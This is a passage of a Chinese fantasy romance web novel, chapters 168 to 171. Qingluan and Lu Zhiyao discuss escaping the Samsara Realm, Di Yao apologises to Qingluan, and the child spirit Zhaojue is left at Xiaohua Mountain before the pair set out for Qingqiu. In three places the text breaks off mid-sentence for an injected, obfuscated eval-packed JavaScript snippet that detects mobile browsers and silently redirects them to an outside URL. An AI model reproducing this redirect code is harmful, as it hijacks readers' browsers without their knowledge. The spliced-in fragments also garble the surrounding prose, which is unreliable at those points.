青鸾问他:“所以你待我好,是因为看见我逐渐成为你梦里的那个样子,你会感到开心?” 路之遥道:“是因为看见你成为你自己,那样我就会开心,无论真正的你是什么样子。” 两人目光对视的一瞬间,青鸾突然感觉眼眶一热,她连忙别过头去,抬手狠狠地揉着眼睛。 “无论你是从小就在我身边的九聆,还是在青要山中长大的青鸾,无论何时,无论你是谁,我都会帮你。”路之遥轻轻抚上青鸾的肩膀:“我会帮你离开轮回之境,这是我对你的承诺。” “那么你呢?”青鸾红着眼睛转过头来:“你会随我一起离开吗?只要离开了轮回之境我们是不是就可以恢复记忆,就能记起我们真正的身份,记起彼此到底是谁?” 路之遥目光沉静,这件事已在他心头盘桓许久,多年来他都在探寻自己与死气究竟有何关联,也在寻找这个世界的真相。 青丘之行后,真相就摆在他的眼前,他却有些看不分明了。 “我对死气有一种莫名的感应,这种感应会随着修为的增强变得越发清晰。”路之遥垂首注视着自己的双手:“甚至我能感觉到自己体内的星辰之力也与死气有关。” 168. 万国传 “许多年来我一直有一个可怕的猜想,不断地去寻求真相正是因为我想证明那个猜想是错误的。”路之遥有些自嘲地道:“我很害怕自己拥有的星辰之力其实来源于死气。” 说到死气二字时他的双手在微微颤抖,骨节分明的指间隐隐有星光流淌,他似乎并不能完全掌控体内的星辰之力。 而心中的畏惧又会让他对这股力量更加望而却步。 他竟然从来不敢全力施展那令他一战成名的力量。 青鸾握住他的手,将他冰凉的指尖紧紧拢在自己掌心:“你在青丘到底见到了什么,又想起了什么?可不可以告诉我?” 路之遥的双手在被青鸾牢牢握住时感到一阵暖意,这股暖意顺着他的手掌一路蔓延到了心间。 他抬首注视着她,安慰似地轻轻一笑:“我让始祖之息剥离下来一缕死气,然后借助生阵的力量压制它,如此我便可以尝试直接与死气接触。” “那是我第一次如此近距离地接触它。” “在与它产生共感的那一刻我听到一个声音,原本我以为那是死气传来的声音,可后来才知道,那竟是过去的我留给现在的我的讯息。” “我听见过去的自己以死气为媒介,告诉我此刻所在世界的真相,那就是我们共存于一个名为轮回之境的法器编织出来的幻相中。他让我帮你离开轮回之境,他说那是我对你的承诺,我一定要做到。” “你的意识分身同时存在于轮回之境的无数个世界中,它们不能湮灭重启,必须同时存在,如此你才有机会离开轮回之境。” “至于我能否和你一起离开,我不知道。” 青鸾听得怔住了:“这是过去的你……留给现在的你的讯息?” 路之遥颔首:“他说他知道这个世界的我有朝一日一定会通过死气收到他留下的这条讯息,他甚至剥离了一片魂核附着在死气上,这一片魂核拥有自主意识,我可以同他对话。” “可惜那毕竟只是粉碎之后遗留于世的残魂,我只来得及向他提出一个问题,他很快便神魂湮灭。” 青鸾问他:“那你问了什么问题?” “我问他如何才能消灭死气。”路之遥直截了当道:“死气的存在必然会导致这个世界的灭亡,若想让这个世界与你的意识分身所在的其它世界同时存在,那就必须消灭死气。” 青鸾心中一紧:“那他……那过去的你是如何回答的?” “他似乎并不敢直接回答这个问题。”路之遥叹息一声:“他告诉我不可直接谈论这个话题,‘她’无处不在,能够听到我们的对话。” “我不知道他说的‘她’指的是谁,那应当是一个很恐怖的存在,若是被‘她’感知到了我们的想法和计划,也许会有可怕的后果。” “他只告诉我一句话,万物相生相克,平衡才是大道之法。” 青鸾沉吟着道:“万物相生相克,难道指的是我在梦中见到的万物母气?唯有母气才能与死气抗衡?” 路之遥摇了摇头:“万物母气的确可与死气抗衡,甚至可将死气转化为生机。然而母气虽无处不在,却无法捉摸,若是能够寻见母气,所有的问题自然可以迎刃而解,问题就在于母气从未现世过,世人也只是提及它的存在,却从无人得知它的踪迹。” “他所说的平衡之道,绝不是让我去寻母气。” 青鸾皱起眉头:“那他所说的方法到底指的是什么?” 关于这个问题,路之遥显然思索已久却也没有得出结论,两人各自陷入沉思,沉默了好一会儿后,青鸾起身咬牙道:“我要再去一次青丘,亲自探查一下死气,说不定能想出应对之法。” 路之遥一把拉住她:“你太累了,自从东海之行后便一直奔波,都不曾好好休息过,还是修养一段时间再去吧。” 青鸾轻轻吸了口气:“可是死气不会等我慢慢修养,它随时都有可能冲破生阵,如果这个世界因此湮灭被迫重启,那么我们在这方世界重新相遇又还要等待多久?” 路之遥没有说话,他只是满眼心疼地注视着她。 青鸾张了张嘴,欲言又止地望着他,犹豫了好一会儿才继续道:“我……我想要离开轮回之境,我想知道当初我为什么会主动踏入这个法器,也想知道我到底是谁。” 她似乎做了许久的心理斗争,好不容易才鼓足勇气伸出手,轻轻抚上路之遥的脸庞:“我还想知道你是谁。” 她的目光有些颤抖,语声却无比坚定,路之遥知道她心意已决,任谁也无法更改。 于是他微微侧首,唇角摩挲青鸾掌心:“我陪你一起。” 青鸾只觉掌心一痒,心跳仿佛漏了一拍,然后她触电般将手收了回来。 便在这时成渊带着帝媱自海域深处归来,见到青鸾醒转,成渊立即凑了过来:“你可算是醒了,这几日安安静静地躺在上古神棺里,可把我跟帝师都吓了一跳。” 帝媱早在几日前便彻底苏醒过来,且她体内浊气果然在混沌青莲的帮助下慢慢净化,如今她的修为竟然更甚从前,沉睡的这几百年不仅没有使她仙力受损,反而助她稳固了根基。 因此成渊的心情一日比一日好,如今对路之遥也是无比客气,同青鸾说起话来更是十分亲热,仿佛两人是相识多年的旧友:“你没事就好,若是再不醒转,我都打算用先神法器试一试能否唤你醒来了。” 青鸾有些懒得搭理他,她应付了成渊两句后便将目光落到了帝媱身上。 不再是躺在上古神棺里没有气息的神女,而是苏醒过来的,如帝宣记忆里那般明媚鲜活的帝媱。 帝媱自然也注意到了青鸾的注视,她抬步行至青鸾面前,俯身向她行了一个大礼:“多谢凰女救命之恩,阿媱没齿不忘。” 青鸾蹙了蹙眉,疑惑地望了成渊一眼。 成渊打着哈哈笑了笑:“这几日在海域疗伤很无聊,我便把几百年间发生的大事给阿媱讲了讲,包括帝骁企图将你的心脏剜给阿媱这件事,所以她也就知道了……” 青鸾拉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15387959|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 长声音哦了一声:“是了,毕竟几百年来你们俩都为了同一个目标努力着,我的真实身份你又岂会不知?那你有没有跟帝媱讲一讲你为了复活她又做了些什么……” 青鸾话没有说完便被成渊冲上来捂住嘴,成渊望一眼帝媱又望一眼她,压低了声音姿态卑微地道:“求你了别嚷嚷,我叫你姑奶奶成不成?我之前是做了一些错事,我可以补偿你的,只要你别让阿媱知道我干过的事儿,你想要什么我都可以补偿你。” 青鸾挑了挑眉,颔首表示答应。 成渊长舒口气,终于松开捂住青鸾嘴巴的手。 站在一旁的路之遥这才将目光从成渊捂住青鸾的手上移开。 帝媱却在这时主动同青鸾道:“还有一些事情我想要单独跟你聊一聊,不知道你方不方便?” 青鸾倒也好奇帝媱要同她聊什么事,点头随帝媱离开此地,两人飞身前往合虚的另一处岛屿,留下成渊和路之遥站在原地面面相觑。 合虚的浩荡长风扑面而来倒也轻盈,青鸾面朝大海而立,任由海风吹乱她的长发。 帝媱立于她的身后,注视着她的背影,恍惚间仿佛回到了昆仑,回到了同兄长一起第一次见到凰女九聆的那一天。 “我哥哥他不在了,是吗?” 青鸾没有想到帝媱说的第一句话便是问她这件事,她一时不知该如何开口,只是回首目光复杂地注视她。 “哥哥曾经为你作过一幅画,以他的性子,恐怕从没有拿给你看过。”帝媱见青鸾不开口,心中便已有了答案,她继续道:“若你有机会再去九重天宫,可以去他的书房取此画一观,娘亲一定将他留下来的东西都收拾得很好。” 青鸾的情绪再一次因帝宣的离去而牵动,她微垂眼帘,语声里的一丝愤怒像是在与自己赌气:“我生平最恨睹物思人,明知他已不在了,守着他的东西回忆往昔,只会让人觉得一口气提不起也放不下。” 她憎恶死亡,每一次与珍视之人的分别都会让她对往昔的美好生出恐惧之意。 其实她并没有旁人以为的那般洒脱。 正是因为没办法做到洒脱,所以她只能逼着自己一刻不停地向前走。 帝媱自然听得出青鸾对这个话题的逃避,她苦笑了一下,然后说道:“其实哥哥也许也是这样想的,比起守着他留下的东西睹物思人,他应该更希望有人一把火烧了九重天宫,连同他在天宫存在过的痕迹一同抹灭。” 青鸾诧异抬头:“为什么这样说?” 帝媱道:“因为哥哥不止一次说过这样的话,早在很久以前他便盼望着有人能一把火烧了那个地方。我们都一样厌恶九重天,越是呼吸过自由的空气,见过人间的太阳,就越是讨厌那个暗无天日的囚笼。” 青鸾带着疑问的语气:“可是你们的父母生活在那个地方。” 并且他们儿时的生活也算得上快乐,至少比起帝骁要好上太多。 却听帝媱道:“正因如此,我们才更加憎恶九重天宫。” 169. 万国传 “母亲来自上古仙族,在来到九重天宫以前她生活得很自由。从前我常常听她说起儿时的生活,其实在那个时候我便觉得母亲在九重天宫的生活是很沉闷的。” 听帝媱如此说,青鸾自然而然联想到被九重天困了大半生自由的素娆,她不由问道:“既然如此,为何焕鸢夫人还要嫁给帝台神来到九重天宫生活?” “自然是因为他们两人是真心相爱呀,母亲是自愿嫁给父亲的。”帝媱道:“父亲也知道母亲在九重天宫很多时候都是委曲求全,她那样骄傲自由的一个人,却因为嫁给了他而要一辈子守在九重天上,扮演好神君夫人的角色,其实父亲也一直都很心疼母亲。” “所以府中一应用具和规矩都按照母亲的喜好来,即便母亲嫁给父亲多年无所出,他也从未想过纳妾。我们府上有一座很大的花园,里面种植着父亲从四海八荒为母亲寻来的各种灵植,只因为母亲在梦里见到了彼岸花,父亲便专程远赴东荒为她寻来一株种在后花园里。” 帝媱嘴角扬起一抹浅浅的微笑,回想着从前与父母一起在府中的生活,她连眉眼都变得温暖。 “但是……”却听她话锋一转:“我们都知道生活在九重天宫的母亲一直都算不上真正的快乐,尤其在素娆夫人被打入龙渊之狱后,她为此唏嘘了许久,很有些物伤其类。” “那样死气沉沉并且暗无天日的九重天宫,除却享受无边寂寥的天君,又有谁会真正喜欢呢?” “母亲为了嫁给心爱的人甘愿一生被困在那个精致的牢笼里,可我和哥哥不愿意。” 青鸾听闻此言,顿时想到多年前帝媱与帝骁的那一场婚约,想起在帝宣记忆中见到的因为那场婚约而哭红了眼睛的帝媱。 当时她还以为帝媱是因为不愿嫁给帝骁才哭得那样伤心,如今看来似乎是另有原因? “我记得当年天君曾为你和帝骁赐婚,但你后来离开九重天宫去往凡间,并且结识了成渊,九重天至今仍在以抢婚为由通缉成渊。”青鸾既然已经想到了这一点,便不愿在心里憋着,于是直接问道:“当初你不愿与帝骁成婚,便是因为不愿像你们的母亲那样失去自由?” 帝媱点了点头,大方地承认了青鸾的猜测:“那时我虽然对帝骁谈不上爱慕,但心底是很敬仰他的。并且天下人都说他是惊艳绝伦的神君,他们只看得到笼罩在他身上的光环,可我知晓他难堪的过往,便是因为如此,我总对他有恻隐之心……” 青鸾倒很欣赏帝媱的直率,她笑了笑道:“敬仰之意与恻隐之心,其实足以对他心生喜欢了。” 帝媱咬了咬唇,依旧点头承认:“其实那桩婚约刚赐下来时母亲也曾问过我对帝骁的想法,她当时也是这样说的。有敬仰之意,还有恻隐之心,那便够了。她看得出来帝骁对我也有情分,将来与帝骁天长日久地相处,我会爱上他的。” “可那时你毕竟还没有爱上他。”青鸾道:“你也说过,哪怕是为了心爱之人而留在九重天宫这样的地方,你也是不愿意的。所以你才会在被指婚时逃去凡间,只是那时候你并没有想到会在凡间遇见成渊。” 帝媱深深地吸了口气,她直视着青鸾道:“这便是我与帝骁之间的过往,我承认自己曾经对他生出好感,也承认我们那桩未能实现的婚约,我将这些往事以及过往的情绪全都剖白给你,是想求得你的原谅。” 青鸾认真地倾听着,她知道对于帝媱而言毫无保留地向她吐露这些过往其实是很难堪的。 她知道帝媱是想告诉她,她曾经与帝骁的这一段关系,两人之间互生的那些情愫,都在她陨落之后成为了帝骁剜去她心脏的理由。 所以她向她道歉,想要求得她的原谅。 “其实这才是我约你来此最想说的事情,成渊告诉过我帝骁为了让我复活都做过什么事情,我……”帝媱又吸了口气,似乎每说一个字都无比艰难:“他剜你心脏,囚你自由,都是为了让我复活,我没有想到当年太华一战我的陨落会连累你受到这样的伤害。” 话还没有说完,帝媱已经先红了眼眶。 青鸾深深地注视着她,意识到即便经历了生死大劫,即使在鬼门关走了一趟沉睡了几百年,帝媱依然是那个在其野学宫为旁人仗义执言的姑娘。 她似乎对青鸾的痛苦感同身受,从前压在青鸾心间的一座座大山如今也压在了她的心上。 青鸾转身走向帝媱,与她相对而立。 她抬手拭去帝媱脸上的泪水,然后告诉她:“帝骁在我身上做的一切,我都已经报复回去了。” 帝媱错愕地抬起头,恰好对上青鸾一双明亮的眼。 她是真没想到青鸾会这样说。 不过听她这么一说,她莫名感觉心里好受了许多…… 青鸾继续道:“他剜我心脏,我也剜了他的心脏,他虽然囚我自由,却也在青要山照顾了我几百年,我便当他功过相抵了。” “最重要的是他现在已经无法囚禁我束缚我,我已经自由了。” 听到青鸾说她已经自由了的那一刻,帝媱仿佛听见自己心间枷锁被劈开的声音,她如释重负地松了口气,握住青鸾的手,诚恳地道:“我真的好佩服你。” “早在你还是凰女九聆的时候我就已经很佩服你了,如今更觉得你好生厉害。如果换做是我经历了你所遭遇的一切,我未必能做到你如今这般。” 青鸾还是头一次被人如此直接且热烈地称赞着,她有些不好意思地别过头去:“其实我也很钦佩你,我知道你是为了帮人类取得末法时代也可修炼的秘籍才被九重天宫追杀。你虽为天族中人,却能有如此大义,实在很了不起。” 两个人就这样将对方好一通夸赞,夸到最后甚至互相引为知己,颇有些惺惺相惜之感。 青鸾与帝媱归来时路之遥二人还守在原地等着她们。 见到两人笑眯 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15395637|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眯手拉着手一起回来,成渊扯了扯路之遥的衣袖:“她们两个人怎么关系突然好成这样了,这不是她们第一次见面吗?” 他眯了眯眼睛紧紧盯着二人:“怎么阿媱贴青鸾贴得这么紧,她干嘛对一个女人笑得这么灿烂?不对劲,我觉得很不对劲。” 他又扯了扯路之遥的袖子:“你说青鸾不会把我的阿媱抢走吧?” 路之遥终于忍无可忍地瞪了成渊一眼,往旁边挪了几步与他保持距离。 直到落地帝媱才松开青鸾的手,她敛了笑容行至成渊面前,抬手摸了摸他的脸:“你的脸色怎么这么难看?可是哪里不舒服吗?” 成渊连忙牵住帝媱的手,顺着她的话道:“许是在海边吹风吹久了,好像是有点不舒服……” 路之遥再次嫌弃地扫了他一眼,默默地又往旁边挪了几步。 青鸾望一眼成渊,又望一眼帝媱,眼珠子转了一圈,然后凑过去对路之遥道:“朝玦现在何处?我们即刻便可前往青丘,但此行比上次还要危险,你可想好了将朝玦安置在何处?” “朝玦变回玉灵正在休息。”路之遥将贴身戴着的玉佩取出:“你可是打算将她暂时安置在合虚?” 青鸾心虚地点了点头:“咳咳,是这样的……我之前在九重天闯下不小的祸事,现在恐怕已经被天君通缉了。到时我们两个人都去了青丘,我怕朝玦一个人留在白民国那间别院不安全。” 路之遥难得见她这般心虚的模样,忍不住逗一逗她:“不小的祸事是怎样的祸事?你在九重天干什么了,逼得天君要在四海八荒通缉你?” 她迎着路之遥的目光望回去,眼神也是无比心虚:“其实我也就是劫了个狱。” 路之遥挑眉:“劫狱?” 青鸾咬了咬唇:“还不小心烧了龙渊之狱……” 路之遥继续逗她:“劫狱就劫狱,你把龙渊之狱烧了做什么?” “我也不想闹出这么大动静的,都是因为帝骁非要跟我打架!”青鸾越说越气:“我把天君最看好的武罗神君给揍了,他当然要通缉我的。” 路之遥意味深长地哦了一声:“怪不得前几日我见帝骁伤得那么重,原来是被你揍的。” 不知是不是青鸾的错觉,路之遥这句话说得有点咬牙切齿:“被你打成那样了都还不记仇,居然还亲自跑到合虚来想要帮你,武罗神君什么时候转了性子?” 青鸾听得莫名其妙:“他哪里是为了帮我?他分明是听见成渊说我有办法复活帝媱,所以才专程赶来合虚的。” 路之遥又意味深长地哦了一声:“是吗?” 青鸾顿时一个头两个大。 现在她确定不是自己的错觉,路之遥确实每次在谈及与帝骁有关的话题时都会如此阴阳怪气。 这下轮到她忍不住逗路之遥了,她眨了眨眼睛,踮脚凑近他:“难道不是吗?总不能真是为了我才赶来合虚的吧?” 170. 万国传 路之遥将头别到一边:“我不知道,你想知道的话自己去问他。” 青鸾哼了一声:“我才不去问他呢,不管他到底为了什么,都跟我没有关系了。” 她抿了抿嘴,扯扯路之遥的衣袖,“说正经的,我们把朝玦安顿在合虚好不好?等青丘之行结束了再将她接回来。” 路之遥颔首道:“我是没有意见,但我们要听一听朝玦的想法。” “那你唤朝玦出来,听听她怎么说。”青鸾眼巴巴地注视着玉佩,她很好奇身为玉灵的朝玦是如何从玉佩中化形的。 却见路之遥提起玉佩抖了抖,一边抖一边唤朝玦的名字:“别睡了,出来。” 青鸾看得呆住了:“你就是这样召唤玉灵的?” “她唤我爹爹,我便当她是女儿。”路之遥望青鸾一眼:“唤女儿起床自然就是这样的。” 青鸾唔的一声点了点头,竟然觉得路之遥说得很有道理。 路之遥喊了半天也不见朝玦出来,于是啧了一声更加用力地甩了甩玉佩:“赶紧出来有事跟你商量,不许再赖床了。” 玉佩还是没有反应。 青鸾不放心地问:“你确定她真的在这玉佩里面休息?你别是把她忘在哪儿了?” 路之遥扯了扯嘴角,冷笑一声继续对着玉佩道:“你还想不想见你的漂亮姐姐了?再不出来我就把你封在玉佩里,你便好好睡你的觉吧。” 路之遥话音未落,朝玦嗖的一声从玉佩里飞出来,四下张望了一番后将目光锁定在青鸾身上,然后呀的一声直直地朝青鸾扑过去:“真的是漂亮姐姐!” 她在青鸾的怀里抬起脑袋眨巴眼睛:“姐姐,几天不见你怎么变得更漂亮了?” 路之遥揪着朝玦的后脖领把她拎回来:“总算是肯出来了?方才我唤你的时候是不是假装听不见?” 朝玦委屈巴巴地撅了撅嘴,当即捂住脑袋嚷嚷起来:“爹爹我错了你别打我。” 她这一句倒是让路之遥僵在了原地。 趁他错愕的一瞬,朝玦又扑回青鸾怀里:“姐姐你求求爹爹不要打我。” 青鸾安抚地拍了拍朝玦的脑袋,然后抬头瞪路之遥:“想不到你人模人样的居然还动手打孩子?” 路之遥嘴角抽搐,他好笑地注视着蜷缩在青鸾怀里卖可怜的朝玦:“我什么时候动手打过你,你过来说清楚。” 说着他又要把朝玦拎回来,青鸾抬手去挡,朝玦则埋着脑袋咯咯地笑。 一旁的成渊望着他们促狭地道:“你们一家三口倒是其乐融融。” 青鸾听闻此言后背一僵,她转过头意味不明地扫了成渊一眼,然后对朝玦道:“好了不闹了,唤你出来真的是有正事要同你商量。” 朝玦乖巧地点了点头:“姐姐你说,什么事情?” “我和你爹爹要去一趟青丘,这次跟上次不一样,这一次还要更危险些。”青鸾抬手对着成渊一指:“我们打算让你暂时住在合虚,就让这位叔叔照顾你,过段时间我们再回来接你,好不好?” 身后的成渊睁大了眼:“你让谁照顾她?” 他抬手指了指自己:“我吗?” 青鸾回过头朝他眯了眯眼,压低了声音道:“方才是谁说要补偿我来着?” 成渊登时将手放下,点了点头,一脸严肃地道:“当然交给我是没有任何问题的,我最喜欢小孩儿了,你们放心地去。” 这回轮到他旁边的帝媱睁大了眼。 这人怎么突然间翻脸比翻书还快? 青鸾满意地嗯了一声,再次询问朝玦:“你觉得好不好?” 朝玦先是重重地点了点头:“姐姐,我知道你和爹爹去青丘是有要紧事,你放心吧,我会乖乖等你们回来接我的。” 便在路之遥惊讶感慨今天朝玦怎么变得这么好说话时,又听她话锋一转道:“可是我不想留在这个地方,这地方冷冰冰的,我不喜欢。” 说完她抬头望了成渊一眼,很快又把脑袋缩回来:“而且这个叔叔看起来凶巴巴的,我不要跟他住在一起。” 成渊无言地张了张嘴,再一次抬起手指指自己:说谁凶巴巴?我吗? 青鸾听完朝玦的意见之后认真地思索了一会儿,然后赞同地点了点头:“那好吧,既然你不喜欢,那我们就换一个地方。” “换什么地方好呢……” 路之遥蹙了蹙眉:“你不必如此娇惯她,这样挑三拣四,依我看干脆直接把她带回昆仑山,你正好可以回去见一见西王母。” 听到要去见西王母,青鸾的目光颤了颤,她语声微滞:“我听闻西王母正在闭关?” 西王母于她也有教养之恩,可如今的她已不再是从前的凰女九聆,并且在芙蓉浦猜度出西王母与天君的阴谋后,她此刻不知道该以什么样的心情去面对她。 “她这几日出关了。”路之遥放缓了声音,他能够理解青鸾的心情,如今的她等同于活了两世,此番再回昆仑,她定然有些近乡情怯,“你若是想回去,我们便在去青丘前回一趟昆仑山。” 朝玦却在这时候提出了反对意见:“昆仑山也太冷了,而且爹爹你之前在昆仑的时候老是哭,我不喜欢那个地方。” 路之遥愣怔一瞬,恨不得冲上去捂住朝玦的嘴:“你在胡说什么?” 他望向青鸾,目光里有罕见的慌乱:“你别听她乱说。” 青鸾转头与路之遥对视,将他的慌乱尽收眼底,一时促狭心起,忍不住又想逗一逗他。 却又想到成渊与帝媱都在一旁,且他们接下来还有正事要做,便将促狭心收了回去,对朝玦道:“这样吧,我带你去小华山可好?” 朝玦眨了眨眼睛:“小华山?” “小华山可漂亮了,有青山绿水还有很多户人家,漫山遍野都开满了桃花。”青鸾冲朝玦比划着道:“并且小华山气候温暖,四季如春,你一定会喜欢那里的。那里还有一位漂亮姐姐,你可以和她一起玩儿哦。” 朝玦高兴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15403124|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 地拍了拍手:“那好吧,我去小华山,我喜欢和漂亮姐姐待在一起!” 青鸾将朝玦放下,牵着她的手对路之遥道:“我在小华山有一位旧识,便托她照顾朝玦一段时间吧。朝玦这么怕冷,小华山便是最好的去处了。” 成渊在听到小华山几个字时一阵心虚,连忙举手自告奋勇道:“我来为你们开启离开合虚的结界,你们若是急着赶去青丘,我和阿媱也可以帮你们把这丫头送到小华山去。” “不必了,多谢神君好意。”青鸾想必是跟着路之遥耳濡目染,说起话来也开始阴阳怪气:“咱们俩都是被天族通缉的人,多一个你多一分危险,还是算了吧。” 成渊尴尬地笑了笑,打开结界做了个请的手势,巴不得赶紧送走这尊大佛。 帝媱却是有些不舍地同青鸾告别:“我苏醒之事越少人知道越好,因此也不能离开合虚送你们一程,祝你们一路顺利,平安抵达青丘。” 青鸾也摆手同帝媱告别,和路之遥一起带着朝玦往小华山去。 抵达小华山后她向忘忧说明来意,忘忧自然是一口答应下来。 朝玦围着忘忧转了几圈,眨巴着眼睛一口一个姐姐地叫着,更是哄得忘忧喜笑颜开。 一旁的路之遥趁机对青鸾道:“你看吧,她对谁都这样,不只叫你一个人漂亮姐姐。” 青鸾转过头诡异地望着路之遥:“你不会是在跟朝玦吃醋吧?这么着急离间我们?” 路之遥一时语噎,轻轻哼了一声,别过脑袋不肯说话了。 这时又一道身影飞至小华山,在青鸾面前落定后亲热地攀上她的胳膊:“好久不见,你的心火之力何时变得这么强大了?我在万里之外收到你的心火传讯时便感受到它与在东海时不一样了。” 来人正是千歌。 青鸾笑了笑,同她解释自己在都广之野取得了心火之源,因此心火的力量得到了巨大的提升,然后她又转头对路之遥解释道:“将朝玦放在小华山我还是不太放心,所以在来的路上向千歌传讯,让她也在小华山住一段时日,帮我们看护朝玦,多一份力量就多一重保险。” 路之遥眯了眯眼。 看来她火烧龙渊之狱拳打武罗神君,的确是把九重天宫得罪得狠了,生怕天君知晓她的真实身份后顺藤摸瓜报复朝玦,所以在离开前思前想后安排得这么缜密。 他抬手布下一道禁制,星辰之力瞬间蔓延了整座小华山:“小华山本身便有一道屏蔽结界,我又在这道结界的基础上布下了一道星域禁制,就算天君亲至也破不开这道禁制,放心吧。” 忘忧感受到熟悉的星辰之力后,这才意识到站在她面前的就是名震四海八荒的帝师路之遥,她望一眼路之遥,又望一眼青鸾,然后把想问的问题咽了回去:“放心吧,我一定会保护好朝玦,等你们平安归来。” 安排好这一切之后,青鸾总算放心了一点,又向千歌嘱咐了一遍一定要小心九重天宫的手段,这才与路之遥一起启程前往青丘。 171. 万国传 此次前往青丘,他们二人依然选择取道东海。 原本青鸾担心生阵有可能在他们抵达青丘之前便因抵挡不住死气的冲击而崩溃坍塌,倘若当真如此事情会变得更加棘手,所以她打算以瞬移之术或是借助传送法阵加快前往青丘的速度。 然而当她提出这个想法时,却听路之遥幽幽地道:“我受伤了,很重的伤,无法施展瞬移之术,也无法承受传送大阵给身体带来的压力。” 青鸾愣了一下,然后仔仔细细将他打量一番:“你什么时候受的伤?” 怎么完全看不出来? 路之遥伸手掀开衣袖,将右臂内侧如彼岸花一般绽开的血色纹路展示给青鸾:“为了能在生阵中直接接触死气,我同始祖之息做了个交易。” “它从自己身上剥离一缕死气供我研究,我便救它摆脱死气的束缚,从此不再依附于死气而存在。”路之遥很快便将衣袖放下,把手收了回去:“为了让它彻底摆脱死气,我使了一些禁术,因此消耗了太多的力量,现在还不能施展瞬移术。” 青鸾牢牢地盯着他,直盯得他不自在地避开目光把头扭到了一边去,这才开口一字一句问他:“我在离开青丘时并未告知过你几日后我会前往合虚,准确来说连我自己都不知道我会去合虚走一趟,你又是如何知道的?” 不待路之遥回复,她紧接着又问:“你是否感应到了我有危险,所以使了一些法子确定了我的位置,又施展瞬移之术从青丘赶到合虚?” 路之遥没有说话,目光里却有掩不住的心虚。 青鸾上前一步握住他的手腕,将他的手翻过来再次掀开衣袖。 狰狞的血红色纹路又一次映入她的眼帘。 它们仿似活物,正在路之遥的手臂血管中缓缓蠕动,瞧来触目惊心。 青鸾的声音不自觉有些颤抖:“既然受了这么重的伤,分明已经没有力量再施展瞬移之术,为何还要从那么远的地方赶过来?” 她再次抬起头盯着路之遥:“不对,即便是施展瞬移之术也不可能那么快就从青丘赶到合虚,瞬移术做不到。那样远的距离,恐怕唯有撕裂虚空才行。” 路之遥已经汗流浃背了,青鸾仍在步步追问:“你的伤势是因为使用了虚空一类的术法才加重的吧?” 路之遥轻轻咳了一声,想要将手从青鸾手中抽出来,却发现她力气大得惊人,他居然无法将手抽出,只能任凭她这么握着,将他覆满整条手臂的狰狞纹路暴露在阳光之下。 这些看起来尚在蠕动的纹路在阳光下显得更加可怖。 青鸾抬起另一只手用指尖轻轻触碰:“疼吗?” 路之遥垂首注视着她,轻声道:“不疼,只是看着吓人而已。” “以后不许再这样了。”青鸾蹙眉盯着那些骇人的纹路看了好一会儿,终于松开路之遥的手,对他说了这么一句话后便动身以御风术取道东海往青丘而去。 路之遥跟随在青鸾身侧。 青鸾不知在想些什么,一路上始终沉着张脸,直到穿过东海也不曾再开口说过一句话。 于是路之遥也保持沉默,安静地与她并肩同行。 行至东海海域之时,天气突然变得阴沉,瓢泼大雨骤然而至,两人不得不设下结界护身。 穿过东海后路之遥终于开口道:“雨下得太大,我们找个地方等雨停了再启程吧。” 青鸾转首看他。 因他身上有伤,他们已经放弃了速度更快的瞬移之术和传送法阵,只以御风术赶路,冒这点雨对于路之遥这等修为的人而言应当不成问题,她实在没有想到他会提出避雨的请求。 印象中路之遥并不是一个脆弱的人。 她觉得有些奇怪。 却还是点头同意,随路之遥寻了个山洞避雨。 寻到避雨的地方时天色已经很晚了,雨势虽大,夜空中的星子却还十分耀眼。 青鸾立于洞口,仰首向天上望去:“雨这样大,却没有乌云,天上那些星星竟还这般明亮。” 路之遥站在青鸾身侧,随她一起抬首望向雨夜中的星空,他突然伸出手,冰凉的雨滴砸在他的掌心,他却微微勾起了唇角。 青鸾再一次疑惑地望向他。 原本以为他是要伸手接雨,却在转头的一瞬间见到他掌心亮起簌簌流光。 星星点点的光芒在他掌心汇聚成河,他转身将手一扬,一个散发着星子般光芒的棋盘凭空出现在了洞穴之中。 “长夜无事,我们对弈几局如何?”路之遥行至棋盘前坐下,嘴角依旧噙着笑意,他对青鸾道:“就用我们从前在昆仑山中时常用的上古棋局,好不好?” 青鸾抬步走向他,在他对面坐下,却是没有开口说话,而是愈发疑惑地注视着他。 不对劲。 十分不对劲。 从出发前开始,路之遥的种种行为都透露着反常。 却听路之遥继续道:“还记得这以星辰为棋的上古棋局怎么下吗?” 青鸾将目光从他身上移开,转而落到散溢着星辰光辉的棋盘上。 这上古棋局借星辉为盘,以星辰落子,每走一步都蕴含着大道之法,执棋者可在落子时体会到来自远古时期的无穷道蕴。 当今世上能以星辰化棋局,且知晓这上古棋局规则的恐怕唯有路之遥了。 